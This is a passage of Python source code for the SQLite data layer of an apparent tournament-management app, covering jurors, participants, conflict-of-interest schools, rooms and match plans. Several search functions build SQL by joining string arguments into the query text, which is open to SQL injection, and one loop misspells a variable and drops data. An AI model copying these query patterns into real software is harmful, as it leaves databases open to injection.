tmp_ppant_status, tmp_coi_schools, tmp_coi_count, tmp_ppant_name,\n tmp_ppant_background, tmp_ppant_dob, tmp_ppant_request_date, tmp_ppant_institution,\n tmp_ppant_physics_bg, tmp_ppant_tslot1, tmp_ppant_tslot2, tmp_ppant_tslot3, tmp_ppant_tslot4,\n tmp_ppant_email, tmp_ppant_telec, tmp_tl_school_id, tmp_juror_expereince, tmp_is_chair, tmp_ppant_subtype)\n event_ppant_n_mycois.append(tmp_tuple2)\n tmp_ppant_id = row[2]\n tmp_has_coi = row[3]\n tmp_ppant_status = row[5]\n tmp_ppant_name = row[6] + \" \" + row[7]\n tmp_ppant_background = convert_background_text(row[20])\n tmp_ppant_dob = row[21]\n tmp_ppant_request_date = row[22]\n tmp_ppant_institution = row[23]\n tmp_ppant_physics_bg = row[24]\n tmp_ppant_tslot1 = row[25]\n tmp_ppant_tslot2 = row[26]\n tmp_ppant_tslot3 = row[27]\n tmp_ppant_tslot4 = row[28]\n tmp_coi_schools = list()\n tmp_ppant_email = row[8]\n tmp_ppant_telec = row[29]\n tmp_tl_school_id = row[30]\n tmp_juror_expereince = row[31]\n tmp_is_chair = row[32]\n tmp_ppant_subtype = row[33]\n tmp_coi_count = 0\n\n if tmp_has_coi == 1:\n tmp_tuple_school = (row[9], row[10], row[11], row[12], row[13], row[14], row[19])\n tmp_coi_count = tmp_coi_count + 1\n tmp_coi_schools.append(tmp_tuple_school)\n\n if tmp_ppant_id > 0:\n tmp_tuple2 = (tmp_ppant_id, tmp_has_coi, tmp_ppant_status, tmp_coi_schools, tmp_coi_count, tmp_ppant_name,\n tmp_ppant_background, tmp_ppant_dob, tmp_ppant_request_date, tmp_ppant_institution, tmp_ppant_physics_bg,\n tmp_ppant_tslot1, tmp_ppant_tslot2, tmp_ppant_tslot3, tmp_ppant_tslot4, tmp_ppant_email, tmp_ppant_telec, tmp_tl_school_id, tmp_juror_expereince, tmp_is_chair, tmp_ppant_subtype)\n event_ppant_n_mycois.append(tmp_tuple2)\n\n return event_ppant_n_mycois\n\n\n# Search all the participants and cois for specific event\ndef search_events_ppant_n_cois_by_roletype(event_id, ppant_status, ppant_role_type, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n if ppant_status is None or len(ppant_status) < 1:\n command = \"SELECT \" \\\n \"EVENT_ID, EVENT_NAME, \" \\\n \"PARTICIPANT_ID, HAS_COI, PARTICIPANT_ROLE_TYPE, PPANT_STATUS, \" \\\n \"PPANT_FIRST_NAME, PPANT_LAST_NAME, PPANT_EMAIL, \" \\\n \"COI_ID, COI_SCHOOL_ID, COI_SCHOOL_NAME, COI_SCHOOL_ADDRESS, COI_SCHOOL_CITY, COI_SCHOOL_PROVINCE, \" \\\n \"COI_SCHOOL_COUNTRY, COI_SCHOOL_POSTAL_CODE, COI_SCHOOL_STATUS, COI_SCHOOL_WEBSITE, COI_COMMENTS, \" \\\n \"PPANT_BACKGROUND, strftime('%Y-%m-%d',PPANT_DOB), strftime('%Y-%m-%d',PPANT_RQUEST_DATE), PPANT_INSTITUTION, \" \\\n \"PHYSICS_BACKGROUND, TSLOT1, TSLOT2, TSLOT3, TSLOT4, PPANT_TELEC, TL_SCHOOL_ID, JUROR_EXPERIENCE, IS_CHAIR, PPANT_SUBTYPE \" \\\n \"FROM v_event_participant_cois_schools \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"AND PARTICIPANT_ROLE_TYPE='\" + ppant_role_type + \"' \" \\\n \"ORDER by IS_CHAIR DESC, PPANT_SUBTYPE DESC, PARTICIPANT_ID, COI_SCHOOL_NAME COLLATE NOCASE\" \\\n \";\"\n else:\n command = \"SELECT \" \\\n \"EVENT_ID, EVENT_NAME, \" \\\n \"PARTICIPANT_ID, HAS_COI, PARTICIPANT_ROLE_TYPE, PPANT_STATUS, \" \\\n \"PPANT_FIRST_NAME, PPANT_LAST_NAME, PPANT_EMAIL, \" \\\n \"COI_ID, COI_SCHOOL_ID, COI_SCHOOL_NAME, COI_SCHOOL_ADDRESS, COI_SCHOOL_CITY, COI_SCHOOL_PROVINCE, \" \\\n \"COI_SCHOOL_COUNTRY, COI_SCHOOL_POSTAL_CODE, COI_SCHOOL_STATUS, COI_SCHOOL_WEBSITE, COI_COMMENTS, \" \\\n \"PPANT_BACKGROUND, strftime('%Y-%m-%d',PPANT_DOB), strftime('%Y-%m-%d',PPANT_RQUEST_DATE), PPANT_INSTITUTION, \" \\\n \"PHYSICS_BACKGROUND, TSLOT1, TSLOT2, TSLOT3, TSLOT4, PPANT_TELEC, TL_SCHOOL_ID, JUROR_EXPERIENCE, IS_CHAIR, PPANT_SUBTYPE \" \\\n \"FROM v_event_participant_cois_schools \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"AND PPANT_STATUS='\" + ppant_status + \"' \" \\\n \"AND PARTICIPANT_ROLE_TYPE='\" + ppant_role_type + \"' \" \\\n \"ORDER by IS_CHAIR DESC, PPANT_SUBTYPE DESC, PARTICIPANT_ID, COI_SCHOOL_NAME COLLATE NOCASE\" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get event's all the participants and associated cois for specific event\ndef get_event_ppant_n_cois_by_roletype(event_id, ppant_status, ppant_role_type, app_db_web_location=app_db_web_location_default):\n result_rows = search_events_ppant_n_cois_by_roletype(event_id, ppant_status, ppant_role_type, app_db_web_location)\n event_ppant_n_mycois = list()\n tmp_coi_count = 0\n tmp_ppant_id = 0\n tmp_has_coi = 0\n tmp_ppant_status = None\n tmp_ppant_name = None\n tmp_ppant_background = None\n tmp_ppant_dob = None\n tmp_ppant_request_date = None\n tmp_ppant_institution = None\n tmp_ppant_physics_bg = None\n tmp_ppant_tslot1 = None\n tmp_ppant_tslot2 = None\n tmp_ppant_tslot3 = None\n tmp_ppant_tslot4 = None\n tmp_coi_schools = list()\n tmp_ppant_email = None\n tmp_ppant_telec = None\n tmp_tl_school_id = 0\n tmp_juror_expereince = None\n tmp_is_chair = None\n tmp_ppant_subtype = 0\n\n for row in result_rows:\n if row[2] != tmp_ppant_id:\n if tmp_ppant_id > 0:\n tmp_tuple2 = (tmp_ppant_id, tmp_has_coi, tmp_ppant_status, tmp_coi_schools, tmp_coi_count, tmp_ppant_name,\n tmp_ppant_background, tmp_ppant_dob, tmp_ppant_request_date, tmp_ppant_institution,\n tmp_ppant_physics_bg, tmp_ppant_tslot1, tmp_ppant_tslot2, tmp_ppant_tslot3, tmp_ppant_tslot4,\n tmp_ppant_email, tmp_ppant_telec, tmp_tl_school_id, tmp_juror_expereince, tmp_is_chair, tmp_ppant_subtype)\n event_ppant_n_mycois.append(tmp_tuple2)\n tmp_ppant_id = row[2]\n tmp_has_coi = row[3]\n tmp_ppant_status = row[5]\n tmp_ppant_name = row[6] + \" \" + row[7]\n tmp_ppant_background = convert_background_text(row[20])\n tmp_ppant_dob = row[21]\n tmp_ppant_request_date = row[22]\n tmp_ppant_institution = row[23]\n tmp_ppant_physics_bg = row[24]\n tmp_ppant_tslot1 = row[25]\n tmp_ppant_tslot2 = row[26]\n tmp_ppant_tslot3 = row[27]\n tmp_ppant_tslot4 = row[28]\n tmp_coi_schools = list()\n tmp_ppant_email = row[8]\n tmp_ppant_telec = row[29]\n tmp_tl_school_id = row[30]\n tmp_juror_expereince = row[31]\n tmp_is_chair = row[32]\n tmp_ppant_subtype = row[33]\n tmp_coi_count = 0\n\n if tmp_has_coi == 1:\n tmp_tuple_school = (row[9], row[10], row[11], row[12], row[13], row[14], row[19])\n tmp_coi_count = tmp_coi_count + 1\n tmp_coi_schools.append(tmp_tuple_school)\n\n if tmp_ppant_id > 0:\n tmp_tuple2 = (tmp_ppant_id, tmp_has_coi, tmp_ppant_status, tmp_coi_schools, tmp_coi_count, tmp_ppant_name,\n tmp_ppant_background, tmp_ppant_dob, tmp_ppant_request_date, tmp_ppant_institution, tmp_ppant_physics_bg,\n tmp_ppant_tslot1, tmp_ppant_tslot2, tmp_ppant_tslot3, tmp_ppant_tslot4, tmp_ppant_email, tmp_ppant_telec, tmp_tl_school_id, tmp_juror_expereince, tmp_is_chair, tmp_ppant_subtype)\n event_ppant_n_mycois.append(tmp_tuple2)\n\n return event_ppant_n_mycois\n\n\n# Search all the jurors and cois for specific event if is chair or not\ndef search_events_juror_n_cois_by_chair(event_id, is_chair, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n ppant_status = \"Approved\"\n ppant_role_type = \"Juror\"\n _c = _conn.cursor()\n\n if is_chair is None or len(is_chair) < 1:\n command = \"SELECT \" \\\n \"EVENT_ID, EVENT_NAME, \" \\\n \"PARTICIPANT_ID, HAS_COI, PARTICIPANT_ROLE_TYPE, PPANT_STATUS, \" \\\n \"PPANT_FIRST_NAME, PPANT_LAST_NAME, PPANT_EMAIL, \" \\\n \"COI_ID, COI_SCHOOL_ID, COI_SCHOOL_NAME, COI_SCHOOL_ADDRESS, COI_SCHOOL_CITY, COI_SCHOOL_PROVINCE, \" \\\n \"COI_SCHOOL_COUNTRY, COI_SCHOOL_POSTAL_CODE, COI_SCHOOL_STATUS, COI_SCHOOL_WEBSITE, COI_COMMENTS, \" \\\n \"PPANT_BACKGROUND, strftime('%Y-%m-%d',PPANT_DOB), strftime('%Y-%m-%d',PPANT_RQUEST_DATE), PPANT_INSTITUTION, \" \\\n \"PHYSICS_BACKGROUND, TSLOT1, TSLOT2, TSLOT3, TSLOT4, PPANT_TELEC, TL_SCHOOL_ID, JUROR_EXPERIENCE, IS_CHAIR, PPANT_SUBTYPE \" \\\n \"FROM v_event_participant_cois_schools \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"AND PARTICIPANT_ROLE_TYPE='\" + ppant_role_type + \"' \" \\\n \"ORDER by PARTICIPANT_ID, COI_SCHOOL_NAME COLLATE NOCASE\" \\\n \";\"\n else:\n command = \"SELECT \" \\\n \"EVENT_ID, EVENT_NAME, \" \\\n \"PARTICIPANT_ID, HAS_COI, PARTICIPANT_ROLE_TYPE, PPANT_STATUS, \" \\\n \"PPANT_FIRST_NAME, PPANT_LAST_NAME, PPANT_EMAIL, \" \\\n \"COI_ID, COI_SCHOOL_ID, COI_SCHOOL_NAME, COI_SCHOOL_ADDRESS, COI_SCHOOL_CITY, COI_SCHOOL_PROVINCE, \" \\\n \"COI_SCHOOL_COUNTRY, COI_SCHOOL_POSTAL_CODE, COI_SCHOOL_STATUS, COI_SCHOOL_WEBSITE, COI_COMMENTS, \" \\\n \"PPANT_BACKGROUND, strftime('%Y-%m-%d',PPANT_DOB), strftime('%Y-%m-%d',PPANT_RQUEST_DATE), PPANT_INSTITUTION, \" \\\n \"PHYSICS_BACKGROUND, TSLOT1, TSLOT2, TSLOT3, TSLOT4, PPANT_TELEC, TL_SCHOOL_ID, JUROR_EXPERIENCE, IS_CHAIR, PPANT_SUBTYPE \" \\\n \"FROM v_event_participant_cois_schools \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"AND PPANT_STATUS='\" + ppant_status + \"' \" \\\n \"AND IS_CHAIR='\" + is_chair + \"' \" \\\n \"AND PARTICIPANT_ROLE_TYPE='\" + ppant_role_type + \"' \" \\\n \"ORDER by PARTICIPANT_ID, COI_SCHOOL_NAME COLLATE NOCASE\" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get event's all the participants and associated cois for specific event - juror and if is chair or not\ndef get_event_juror_n_cois_by_chair(event_id, is_chair, app_db_web_location=app_db_web_location_default):\n result_rows = search_events_juror_n_cois_by_chair(event_id, is_chair, app_db_web_location)\n event_ppant_n_mycois = list()\n tmp_coi_count = 0\n tmp_ppant_id = 0\n tmp_has_coi = 0\n tmp_ppant_status = None\n tmp_ppant_name = None\n tmp_ppant_background = None\n tmp_ppant_dob = None\n tmp_ppant_request_date = None\n tmp_ppant_institution = None\n tmp_ppant_physics_bg = None\n tmp_ppant_tslot1 = None\n tmp_ppant_tslot2 = None\n tmp_ppant_tslot3 = None\n tmp_ppant_tslot4 = None\n tmp_coi_schools = list()\n tmp_ppant_email = None\n tmp_ppant_telec = None\n tmp_tl_school_id = 0\n tmp_juror_expereince = None\n tmp_is_chair = None\n tmp_ppant_subtype = 0\n\n for row in result_rows:\n if row[2] != tmp_ppant_id:\n if tmp_ppant_id > 0:\n tmp_tuple2 = (tmp_ppant_id, tmp_has_coi, tmp_ppant_status, tmp_coi_schools, tmp_coi_count, tmp_ppant_name,\n tmp_ppant_background, tmp_ppant_dob, tmp_ppant_request_date, tmp_ppant_institution,\n tmp_ppant_physics_bg, tmp_ppant_tslot1, tmp_ppant_tslot2, tmp_ppant_tslot3, tmp_ppant_tslot4,\n tmp_ppant_email, tmp_ppant_telec, tmp_tl_school_id, tmp_juror_expereince, tmp_is_chair, tmp_ppant_subtype)\n event_ppant_n_mycois.append(tmp_tuple2)\n tmp_ppant_id = row[2]\n tmp_has_coi = row[3]\n tmp_ppant_status = row[5]\n tmp_ppant_name = row[6] + \" \" + row[7]\n tmp_ppant_background = convert_background_text(row[20])\n tmp_ppant_dob = row[21]\n tmp_ppant_request_date = row[22]\n tmp_ppant_institution = row[23]\n tmp_ppant_physics_bg = row[24]\n tmp_ppant_tslot1 = row[25]\n tmp_ppant_tslot2 = row[26]\n tmp_ppant_tslot3 = row[27]\n tmp_ppant_tslot4 = row[28]\n tmp_coi_schools = list()\n tmp_ppant_email = row[8]\n tmp_ppant_telec = row[29]\n tmp_tl_school_id = row[30]\n tmp_juror_expereince = row[31]\n tmp_is_chair = row[32]\n tmp_ppant_subtype = row[33]\n tmp_coi_count = 0\n\n if tmp_has_coi == 1:\n tmp_tuple_school = (row[9], row[10], row[11], row[12], row[13], row[14], row[19])\n tmp_coi_count = tmp_coi_count + 1\n tmp_coi_schools.append(tmp_tuple_school)\n\n if tmp_ppant_id > 0:\n tmp_tuple2 = (tmp_ppant_id, tmp_has_coi, tmp_ppant_status, tmp_coi_schools, tmp_coi_count, tmp_ppant_name,\n tmp_ppant_background, tmp_ppant_dob, tmp_ppant_request_date, tmp_ppant_institution, tmp_ppant_physics_bg,\n tmp_ppant_tslot1, tmp_ppant_tslot2, tmp_ppant_tslot3, tmp_ppant_tslot4, tmp_ppant_email, tmp_ppant_telec, tmp_tl_school_id, tmp_juror_expereince, tmp_is_chair, tmp_ppant_subtype)\n event_ppant_n_mycois.append(tmp_tuple2)\n\n return event_ppant_n_mycois\n\n\ndef search_event_rooms(event_id, usage_num=0, status_type=None, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n if status_type is not None and usage_num > 0:\n command = \"SELECT \" \\\n \"EVENT_ROOM_ID, EVENT_ID, ROOM_NUMBER, ROOM_STATUS, ROOM_USAGE_NUM, ROOM_PURPOSE, ROOM_TELEC, \" \\\n \"ROOM_CAPACITY, ROOM_TYPE, ROOM_NOTES, ROOM_BUILDING, ROOM_ADDRESS \" \\\n \"FROM EVENT_ROOM \" \\\n \"WHERE EVENT_ID = \" + str(event_id) + \" \" \\\n \"AND ROOM_STATUS = '\" + status_type + \"' \" \\\n \"AND ROOM_USAGE_NUM = \" + str(usage_num) + \" \" \\\n \";\"\n elif status_type is not None:\n command = \"SELECT \" \\\n \"EVENT_ROOM_ID, EVENT_ID, ROOM_NUMBER, ROOM_STATUS, ROOM_USAGE_NUM, ROOM_PURPOSE, ROOM_TELEC, \" \\\n \"ROOM_CAPACITY, ROOM_TYPE, ROOM_NOTES, ROOM_BUILDING, ROOM_ADDRESS \" \\\n \"FROM EVENT_ROOM \" \\\n \"WHERE EVENT_ID = \" + str(event_id) + \" \" \\\n \"AND ROOM_STATUS = '\" + status_type + \"' \" \\\n \";\"\n elif usage_num > 0:\n command = \"SELECT \" \\\n \"EVENT_ROOM_ID, EVENT_ID, ROOM_NUMBER, ROOM_STATUS, ROOM_USAGE_NUM, ROOM_PURPOSE, ROOM_TELEC, \" \\\n \"ROOM_CAPACITY, ROOM_TYPE, ROOM_NOTES, ROOM_BUILDING, ROOM_ADDRESS \" \\\n \"FROM EVENT_ROOM \" \\\n \"WHERE EVENT_ID = \" + str(event_id) + \" \" \\\n \"AND ROOM_USAGE_NUM = \" + str(usage_num) + \" \" \\\n \";\"\n else:\n command = \"SELECT \" \\\n \"EVENT_ROOM_ID, EVENT_ID, ROOM_NUMBER, ROOM_STATUS, ROOM_USAGE_NUM, ROOM_PURPOSE, ROOM_TELEC, \" \\\n \"ROOM_CAPACITY, ROOM_TYPE, ROOM_NOTES, ROOM_BUILDING, ROOM_ADDRESS \" \\\n \"FROM EVENT_ROOM \" \\\n \"WHERE EVENT_ID = \" + str(event_id) + \" \" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# This function is to update the plan status to Active\n# And also update the following tables' status to Active for the selected plan_id\n# - MTEAM, MROOM, MJUROR, MVOLUNTEER\n# - MPAIR, MPAIR_TEAM, MAPIR_JUROR\ndef update_plan_status(plan_id, plan_status, current_user_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n current_timestamp = str(datetime.datetime.now())\n\n # update plan status to Active\n _c.execute(\"UPDATE EVENT_PLAN SET EVENT_PLAN_STATUS = ?, ACCEPTED_BY = ?, last_updated_by = ?, last_updated_date = ? WHERE EVENT_PLAN_ID = ?\",\n (plan_status, current_user_id, current_user_id, current_timestamp, plan_id))\n # - MTEAM, MROOM, MJUROR, MVOLUNTEER\n _c.execute(\"UPDATE MTEAM SET MTEAM_STATUS = ?, last_updated_by = ?, last_updated_date = ? WHERE PLAN_ID = ?\",\n (plan_status, current_user_id, current_timestamp, plan_id))\n _c.execute(\"UPDATE MROOM SET MROOM_STATUS = ?, last_updated_by = ?, last_updated_date = ? WHERE PLAN_ID = ?\",\n (plan_status, current_user_id, current_timestamp, plan_id))\n _c.execute(\"UPDATE MJUROR SET MJUROR_STATUS = ?, last_updated_by = ?, last_updated_date = ? WHERE PLAN_ID = ?\",\n (plan_status, current_user_id, current_timestamp, plan_id))\n _c.execute(\"UPDATE MVOLUNTEER SET MVOLUNTEER_STATUS = ?, last_updated_by = ?, last_updated_date = ? WHERE PLAN_ID = ?\",\n (plan_status, current_user_id, current_timestamp, plan_id))\n # - MPAIR, MPAIR_TEAM, MAPIR_JUROR\n _c.execute(\"UPDATE MPAIR SET MPAIR_STATUS = ?, last_updated_by = ?, last_updated_date = ? WHERE PLAN_ID = ?\",\n (plan_status, current_user_id, current_timestamp, plan_id))\n _c.execute(\"UPDATE MPAIR_TEAM SET MPAIR_TEAM_STATUS = ?, last_updated_by = ?, last_updated_date = ? WHERE PLAN_ID = ?\",\n (plan_status, current_user_id, current_timestamp, plan_id))\n _c.execute(\"UPDATE MPAIR_JUROR SET MPAIR_JUROR_STATUS = ?, last_updated_by = ?, last_updated_date = ? WHERE PLAN_ID = ?\",\n (plan_status, current_user_id, current_timestamp, plan_id))\n\n _conn.commit()\n _conn.close()\n\n\n# This function is to update the plan sub status to Released\ndef release_sm_plan(plan_id, plan_sub_status, current_user_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n current_timestamp = str(datetime.datetime.now())\n\n # update plan sub status\n _c.execute(\"UPDATE EVENT_PLAN SET EVENT_PLAN_SUB_STATUS = ?, ACCEPTED_BY = ?, last_updated_by = ?, last_updated_date = ? WHERE EVENT_PLAN_ID = ?\",\n (plan_sub_status, current_user_id, current_user_id, current_timestamp, plan_id))\n\n # get mvolunteer list\n command = \"SELECT DISTINCT \" \\\n \"PLAN_ID, MVOLUNTEER_ID, PPANT_ID, PPANT_USER_ID, DATA_ENTRY \" \\\n \"FROM v_mvolunteers \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"AND MVOLUNTEER_STATUS='Active' \" \\\n \"ORDER by PPANT_ID\" \\\n \";\"\n _c.execute(command)\n mvolunteer_result = _c.fetchall()\n\n for row in mvolunteer_result:\n current_ppant_id = row[2]\n current_ppant_user_id = row[3]\n ppant_subtype = 8\n if row[4] == \"Yes\":\n ppant_subtype = 9\n # add data entry role to user roles\n _c.execute(\n \"insert into users_roles (user_id, role_id) values(?, ?)\",\n (current_ppant_user_id, 3))\n # update ppant subtype at EVENT_PARTICIPANT table - do these when this plan is finalized\n _c.execute(\"UPDATE EVENT_PARTICIPANT SET SUB_TYPE = ?, last_updated_by = ?, last_updated_date = ? WHERE PARTICIPANT_ID = ?\",\n (ppant_subtype, current_user_id, current_timestamp, current_ppant_id))\n\n _conn.commit()\n _conn.close()\n\n\n# This function is to update the plan sub status for publish or un-publish\ndef update_plan_sub_status_by_id(plan_id, plan_sub_status, current_user_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n current_timestamp = str(datetime.datetime.now())\n\n # update plan sub status\n _c.execute(\"UPDATE EVENT_PLAN SET EVENT_PLAN_SUB_STATUS = ?, last_updated_by = ?, last_updated_date = ? WHERE EVENT_PLAN_ID = ?\",\n (plan_sub_status, current_user_id, current_timestamp, plan_id))\n\n _conn.commit()\n _conn.close()\n\n\n# This function is to delete the proposed plan\n# which will automatically delete the following tables' record that referenced to the selected plan_id\n# - MTEAM, MROOM, MJUROR, (for SM)\n# - MPAIR, MPAIR_TEAM, MPAIR_JUROR (for SM and FM)\ndef admin_delete_plan(event_id, plan_id, plan_status, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n current_timestamp = str(datetime.datetime.now())\n\n # delete the selected plan\n _c.execute(\"PRAGMA foreign_keys = ON\")\n _c.execute(\"DELETE FROM EVENT_PLAN WHERE EVENT_ID = ? AND EVENT_PLAN_ID = ? AND EVENT_PLAN_STATUS = ?\",\n (event_id, plan_id, plan_status))\n\n _conn.commit()\n _conn.close()\n\n\n# This function is to save the proposed plan to the database:\n# - Insert to EVENT_PLAN: return plan_id\n# - insert to MTEAM: return mteam_id\n# - insert to MROOM: return mroom_id\n# - insert to MJUROR (CHAIR and moved juror)\n# - insert to MVOLUNTEER\n# - insert to MPAIR: return mpair_id\n# - insert to MPAIRE_TEAM\n# - insert to MPAIR_JUROR (CHAIR and moved juror)\ndef db_save_proposal(event_id, round_room_team_plan, juror_plan, volunteer_plan, moved_jurors_plan, current_user_id,\n app_db_web_location=app_db_web_location_default, last_event_round_id=0):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n current_timestamp = str(datetime.datetime.now())\n round_plan = round_room_team_plan[0]\n room_plan = round_room_team_plan[1]\n team_plan = round_room_team_plan[2]\n\n # - Insert to EVENT_PLAN: return plan_id\n print(\"***1: Insert to EVENT_PLAN: return plan_id\")\n _c.execute(\n \"insert into EVENT_PLAN (EVENT_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?)\",\n (event_id, current_user_id, current_timestamp))\n new_plan_id = _c.lastrowid\n\n # - insert to MTEAM: return mteam_id\n print(\"***2: insert to MTEAM: return mteam_id\")\n new_mteam_id_list = []\n for team in team_plan:\n _c.execute(\n \"insert into MTEAM (EVENT_TEAM_ID, MTEAM_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?)\",\n (team['team_id'], team['team_code'], new_plan_id, current_user_id, current_timestamp))\n new_mteam_id = _c.lastrowid\n new_mteam_id_list.append(new_mteam_id)\n\n # - insert to MROOM: return mroom_id\n print(\"***3: insert to MROOM: return mroom_id\")\n alpha = 'A'\n new_mroom_id_list = []\n for room in room_plan:\n tmp_school_id_list = None\n for school_id in room['room_cois']:\n if tmp_school_id_list is None:\n tmp_school_id_list = \"-\" + str(school_id)\n else:\n tmp_school_id_list = tmp_school_id_list + \"-\" + str(school_id)\n\n _c.execute(\n \"insert into MROOM (EVENT_ROOM_ID, MROOM_CODE, MROOM_LABEL, MROOM_COI_SIDS, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?)\",\n (room['room_id'], room['room_code'], alpha, tmp_school_id_list, new_plan_id, current_user_id, current_timestamp))\n new_mroom_id = _c.lastrowid\n new_mroom_id_list.append(new_mroom_id)\n alpha = chr(ord(alpha) + 1)\n\n # - insert to MJUROR for chair\n print(\"***4-1. insert to MJUROR for chairs\")\n is_chair = \"Yes\"\n new_mjuror_id_list = []\n for juror in juror_plan:\n current_juror_code = juror['juror_code']\n current_ppant_id = juror['juror_info'][0]\n current_mroom_id = new_mroom_id_list[juror['room_code'] - 1]\n current_juror_timeslots = juror['juror_info'][11] + \"-\" + juror['juror_info'][12]+ \"-\" + juror['juror_info'][13] + \"-\" + juror['juror_info'][14]\n current_juror_cois = None\n for coi_school in juror['juror_info'][3]:\n if current_juror_cois is None:\n current_juror_cois = \"-\" + str(coi_school[1])\n else:\n current_juror_cois = current_juror_cois + \"-\" + str(coi_school[1])\n _c.execute(\n \"insert into MJUROR (MJUROR_CODE, PPANT_ID, MROOM_ID, MJUROR_COI_SIDS, MJUROR_TIMESLOTS, PLAN_ID, IS_CHAIR, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?, ?)\",\n (current_juror_code, current_ppant_id, current_mroom_id, current_juror_cois, current_juror_timeslots, new_plan_id, is_chair, current_user_id, current_timestamp))\n new_mjuror_id = _c.lastrowid\n new_mjuror_id_list.append(new_mjuror_id)\n\n # - insert to MJUROR for moved jurors\n print(\"***4-2. insert to MJUROR for moved jurors and associated MPAIR_JUROR\")\n is_chair = \"No\"\n moved_juror_type = \"Moved\"\n #new_moved_juror_id_list = []\n for moved_juror in moved_jurors_plan:\n current_moved_juror_code = moved_juror['juror_code']\n current_moved_ppant_id = moved_juror['juror_info'][0]\n current_moved_juror_timeslots = moved_juror['juror_info'][11] + \"-\" + moved_juror['juror_info'][12]+ \"-\" + moved_juror['juror_info'][13] + \"-\" + moved_juror['juror_info'][14]\n current_moved_juror_cois = None\n for coi_school in moved_juror['juror_info'][3]:\n if current_moved_juror_cois is None:\n current_jmoved_uror_cois = \"-\" + str(coi_school[1])\n else:\n current_moved_juror_cois = current_moved_juror_cois + \"-\" + str(coi_school[1])\n _c.execute(\n \"insert into MJUROR (MJUROR_CODE, PPANT_ID, MJUROR_COI_SIDS, MJUROR_TIMESLOTS, PLAN_ID, IS_CHAIR, MJUROR_TYPE, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?, ?)\",\n (current_moved_juror_code, current_moved_ppant_id, current_moved_juror_cois, current_moved_juror_timeslots, new_plan_id, is_chair, moved_juror_type, current_user_id, current_timestamp))\n new_moved_juror_id = _c.lastrowid\n #new_mjuror_id_list.append(new_moved_juror_id)\n round_index = -1\n for room_code in moved_juror['round_room_codes']:\n round_index += 1\n if room_code > 0:\n current_round_code = round_index + 1\n current_event_round_id = last_event_round_id + current_round_code\n current_mroom_id = new_mroom_id_list[room_code - 1]\n _c.execute(\"insert into MPAIR_JUROR (MJUROR_ID, MJUROR_CODE, EVENT_ROUND_ID2, MROOM_ID2, PLAN_ID, MPAIR_JUROR_TYPE, CREATED_BY, CREATED_DATE) \"\n \"values(?, ?, ?, ?, ?, ?, ?, ?)\",\n (new_moved_juror_id, current_moved_juror_code, current_event_round_id, current_mroom_id, new_plan_id, moved_juror_type, current_user_id, current_timestamp))\n\n # - insert to MJUROR for chair\n print(\"***5. insert to MVOLUNTEER for both data entriers and other volunteers\")\n data_entry = \"No\"\n new_mvolunteer_id_list = []\n for volunteer in volunteer_plan:\n current_volunteer_code = volunteer['mvolunteer_code']\n current_ppant_id = volunteer['ppant_id']\n current_mroom_id = new_mroom_id_list[volunteer['mroom_code'] - 1]\n current_volunteer_timeslots = volunteer['timeslots']\n data_entry = volunteer['data_entry']\n ppant_subtype = volunteer['ppant_subtype']\n current_volunteer_cois = None\n for coi_school_id in volunteer['cois']:\n if current_volunteer_cois is None:\n current_volunteer_cois = \"-\" + str(coi_school_id)\n else:\n current_volunteer_cois = current_volunteer_cois + \"-\" + str(coi_school_id)\n _c.execute(\n \"insert into MVOLUNTEER (MVOLUNTEER_CODE, PPANT_ID, MROOM_ID, MVOLUNTEER_COI_SIDS, MVOLUNTEER_TIMESLOTS, PLAN_ID, DATA_ENTRY, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?, ?)\",\n (current_volunteer_code, current_ppant_id, current_mroom_id, current_volunteer_cois, current_volunteer_timeslots, new_plan_id, data_entry, current_user_id, current_timestamp))\n new_mvolunteer_id = _c.lastrowid\n new_mvolunteer_id_list.append(new_mvolunteer_id)\n\n # - insert to MPAIR, MAPIR TEAM, MPAIR JUROR for chairs\n print(\"***6. insert to insert to MPAIR, MAPIR TEAM, MPAIR JUROR for chairs\")\n round_count = len(round_plan)\n for room in room_plan:\n current_room_code = room['room_code']\n current_room_jurors_code = room['jurors']\n current_mroom_id = new_mroom_id_list[current_room_code - 1]\n for round_index in range(round_count):\n current_round_code = round_index + 1\n current_event_round_id = last_event_round_id + current_round_code\n if room['room_team_matches_codes'][round_index] is not None:\n # get the team pair at the current room and current round\n current_team_pair_codes = room['room_team_matches_codes'][round_index]\n team_code_a = current_team_pair_codes[0]\n team_code_b = current_team_pair_codes[1]\n current_mpair_code_label = \"-\" + str(team_code_a) + \"-\" + str(team_code_b)\n current_mteam_a_id = new_mteam_id_list[team_code_a - 1]\n current_mteam_b_id = new_mteam_id_list[team_code_b - 1]\n tmp_school_ids_str = 